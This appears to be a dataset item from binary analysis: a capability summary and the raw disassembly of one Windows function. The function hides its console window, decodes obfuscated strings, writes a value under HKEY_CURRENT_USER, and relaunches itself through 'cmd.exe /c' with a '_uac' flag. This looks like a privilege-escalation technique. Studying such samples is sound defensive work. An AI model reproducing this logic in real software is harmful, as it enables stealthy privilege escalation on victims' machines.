Function at 0x1000b660
Capabilities:
Accept command line arguments
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000cf88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb30
push esi
push edi
mov dword [ebp - 0x27c], 0x44
push 0x40
push 0
lea eax, [ebp - 0x278]
push eax
call fcn.10003250
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x694], cx
push 0x206
push 0
lea edx, [ebp - 0x692]
push edx
call fcn.10003250
add esp, 0xc
lea ecx, [ebp - 0x284]
call fcn.10001000
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10001000
mov byte [ebp - 4], 1
xor eax, eax
mov word [ebp - 0x48c], ax
push 0x206
push 0
lea ecx, [ebp - 0x48a]
push ecx
call fcn.10003250
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.10001000
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x280]
call fcn.10001000
mov byte [ebp - 4], 3
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xabc], edx
cmp dword [ebp - 0xabc], 1
je 0x1000b72b
jmp 0x1000bd44
push 0x208
push 0
lea eax, [ebp - 0x22c]
push eax
call fcn.10003250
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x22c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.1000a910
movzx edx, al
test edx, edx
jne 0x1000b777
push 0
push 0
push str.err_x1
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000bd44
mov eax, dword [ebp + 8]
push eax
call dword [0x10013be4]
push str.NetEase.exe
lea ecx, [ebp - 0x22c]
push ecx
call fcn.100020b0
add esp, 8
test eax, eax
je 0x1000b7b1
push str._auto
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.100020b0
add esp, 8
test eax, eax
jne 0x1000b7b6
jmp 0x1000bd44
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x698], 0
mov dword [ebp - 0x69c], 0
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0
je 0x1000b855
lea edx, [ebp - 0x69c]
push edx
mov eax, dword [ebp - 0x6a4]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x69c]
cmp ecx, dword [ebp - 0x6a0]
jne 0x1000b83e
cmp dword [ebp - 0x69c], 0
je 0x1000b83e
push 0
mov edx, dword [ebp - 0x6a4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x6a4], 0
jmp 0x1000b853
push 2
mov eax, dword [ebp - 0x6a4]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 0x6a4], eax
jmp 0x1000b7e9
call fcn.1000a500
test eax, eax
jne 0x1000bd17
mov dword [ebp - 0xab4], 0
xor ecx, ecx
mov word [ebp - 0x8a4], cx
push 0x1fe
push 0
lea edx, [ebp - 0x8a2]
push edx
call fcn.10003250
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0xab0], eax
push 0x208
push 0
lea eax, [ebp - 0xaac]
push eax
call fcn.10003250
add esp, 0xc
push 0x208
lea ecx, [ebp - 0xaac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1000fdd0
mov edx, dword [ebp - 0xab0]
push edx
call fcn.100020b0
add esp, 8
mov dword [ebp - 0xab4], eax
cmp dword [ebp - 0xab4], 0
je 0x1000b9a6
mov eax, dword [ebp - 0xab4]
mov dword [ebp - 0xac0], eax
lea ecx, [ebp - 0x8a4]
mov dword [ebp - 0xac4], ecx
mov edx, dword [ebp - 0xac4]
mov dword [ebp - 0xac8], edx
mov eax, dword [ebp - 0xac0]
mov cx, word [eax]
mov word [ebp - 0xaca], cx
mov edx, dword [ebp - 0xac4]
mov ax, word [ebp - 0xaca]
mov word [edx], ax
mov ecx, dword [ebp - 0xac0]
add ecx, 2
mov dword [ebp - 0xac0], ecx
mov edx, dword [ebp - 0xac4]
add edx, 2
mov dword [ebp - 0xac4], edx
cmp word [ebp - 0xaca], 0
jne 0x1000b90c
lea eax, [ebp - 0x8a4]
add eax, 0xfffffffe
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0xad0]
mov dx, word [ecx + 2]
mov word [ebp - 0xad2], dx
add dword [ebp - 0xad0], 2
cmp word [ebp - 0xad2], 0
jne 0x1000b963
mov edi, dword [ebp - 0xad0]
mov eax, dword [0x1000fdd4]
mov dword [edi], eax
mov ecx, dword [0x1000fdd8]
mov dword [edi + 4], ecx
mov edx, dword [0x1000fddc]
mov dword [edi + 8], edx
jmp 0x1000ba10
mov dword [ebp - 0xad8], str._uac
lea eax, [ebp - 0x8a4]
mov dword [ebp - 0xadc], eax
mov ecx, dword [ebp - 0xadc]
mov dword [ebp - 0xae0], ecx
mov edx, dword [ebp - 0xad8]
mov ax, word [edx]
mov word [ebp - 0xae2], ax
mov ecx, dword [ebp - 0xadc]
mov dx, word [ebp - 0xae2]
mov word [ecx], dx
mov eax, dword [ebp - 0xad8]
add eax, 2
mov dword [ebp - 0xad8], eax
mov ecx, dword [ebp - 0xadc]
add ecx, 2
mov dword [ebp - 0xadc], ecx
cmp word [ebp - 0xae2], 0
jne 0x1000b9c8
push str.f0kpSZtJlEmPSYhJmkmISYVJjEmQSY9JSUk
call fcn.1000a370
add esp, 4
push eax
push 0
push 1
lea edx, [ebp - 0xaac]
push edx
push str.mkmOSYdJlUmWSYhJm0mESZ1JjElwSWpJe0luSXpJbklnSXVJnUmWSXBJb0llSW5Jdkl6SSlJj0mVSZ1Jikl0SXtJe0lkSW9JdUmXSWRJe0l6SXBJbklvSZ1JiEl5SXlJikluSWxJeUloSXVJh0ltSWhJZkl6SZ1JjUloSYBJZEl7SXpJSUk
call fcn.1000a370
add esp, 4
push eax
push 0x80000001
call fcn.1000a450
add esp, 0x18
movzx eax, al
test eax, eax
je 0x1000bd15
mov dword [ebp - 0xae8], str.cmd.exe__c___
lea ecx, [ebp - 0x694]
mov dword [ebp - 0xaec], ecx
mov edx, dword [ebp - 0xaec]
mov dword [ebp - 0xaf0], edx
mov eax, dword [ebp - 0xae8]
mov cx, word [eax]
mov word [ebp - 0xaf2], cx
mov edx, dword [ebp - 0xaec]
mov ax, word [ebp - 0xaf2]
mov word [edx], ax
mov ecx, dword [ebp - 0xae8]
add ecx, 2
mov dword [ebp - 0xae8], ecx
mov edx, dword [ebp - 0xaec]
add edx, 2
mov dword [ebp - 0xaec], edx
cmp word [ebp - 0xaf2], 0
jne 0x1000ba71
lea eax, [ebp - 0xaac]
mov dword [ebp - 0xaf8], eax
mov ecx, dword [ebp - 0xaf8]
mov dword [ebp - 0xafc], ecx
mov edx, dword [ebp - 0xaf8]
mov ax, word [edx]
mov word [ebp - 0xafe], ax
add dword [ebp - 0xaf8], 2
cmp word [ebp - 0xafe], 0
jne 0x1000bad1
mov ecx, dword [ebp - 0xaf8]
sub ecx, dword [ebp - 0xafc]
mov edx, dword [ebp - 0xafc]
mov dword [ebp - 0xb04], edx
mov dword [ebp - 0xb08], ecx
lea eax, [ebp - 0x694]
add eax, 0xfffffffe
mov dword [ebp - 0xb0c], eax
mov ecx, dword [ebp - 0xb0c]
mov dx, word [ecx + 2]
mov word [ebp - 0xb0e], dx
add dword [ebp - 0xb0c], 2
cmp word [ebp - 0xb0e], 0
jne 0x1000bb1f
mov edi, dword [ebp - 0xb0c]
mov esi, dword [ebp - 0xb04]
mov eax, dword [ebp - 0xb08]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x694]
add ecx, 0xfffffffe
mov dword [ebp - 0xb14], ecx
mov edx, dword [ebp - 0xb14]
mov ax, word [edx + 2]
mov word [ebp - 0xb16], ax
add dword [ebp - 0xb14], 2
cmp word [ebp - 0xb16], 0
jne 0x1000bb70
mov edi, dword [ebp - 0xb14]
mov ecx, dword [0x1000feec]
mov dword [edi], ecx
mov dx, word [0x1000fef0]
mov word [edi + 4], dx
lea eax, [ebp - 0x8a4]
mov dword [ebp - 0xb1c], eax
mov ecx, dword [ebp - 0xb1c]
mov dword [ebp - 0xb20], ecx
mov edx, dword [ebp - 0xb1c]
mov ax, word [edx]
mov word [ebp - 0xb22], ax
add dword [ebp - 0xb1c], 2
cmp word [ebp - 0xb22], 0
jne 0x1000bbc3
mov ecx, dword [ebp - 0xb1c]
sub ecx, dword [ebp - 0xb20]
mov edx, dword [ebp - 0xb20]
mov dword [ebp - 0xb28], edx
mov dword [ebp - 0xb2c], ecx
lea eax, [ebp - 0x694]
add eax, 0xfffffffe
mov dword [ebp - 0xb30], eax
mov ecx, dword [ebp - 0xb30]
mov dx, word [ecx + 2]
mov word [ebp - 0xb32], dx
add dword [ebp - 0xb30], 2
cmp word [ebp - 0xb32], 0
jne 0x1000bc11
mov edi, dword [ebp - 0xb30]
mov esi, dword [ebp - 0xb28]
mov eax, dword [ebp - 0xb2c]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x694]
add ecx, 0xfffffffe
mov dword [ebp - 0xb38], ecx
mov edx, dword [ebp - 0xb38]
mov ax, word [edx + 2]
mov word [ebp - 0xb3a], ax
add dword [ebp - 0xb38], 2
cmp word [ebp - 0xb3a], 0
jne 0x1000bc62
mov edi, dword [ebp - 0xb38]
mov ecx, dword [0x1000fef4]
mov dword [edi], ecx
mov dword [ebp - 0x250], 1
xor edx, edx
mov word [ebp - 0x24c], dx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x27c]
push ecx
mov edx, dword [0x10013bf0]
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x694]
push eax
push 0
call dword [0x10013be8]
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0
jne 0x1000bd15
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x694]
push ecx
push 0x1000fef8
lea edx, [ebp - 0x48c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x48c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000bd44
call fcn.1000acd0
test eax, eax
jne 0x1000bd44
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1000acd0
test eax, eax
jne 0x1000bd44
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1000acd0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]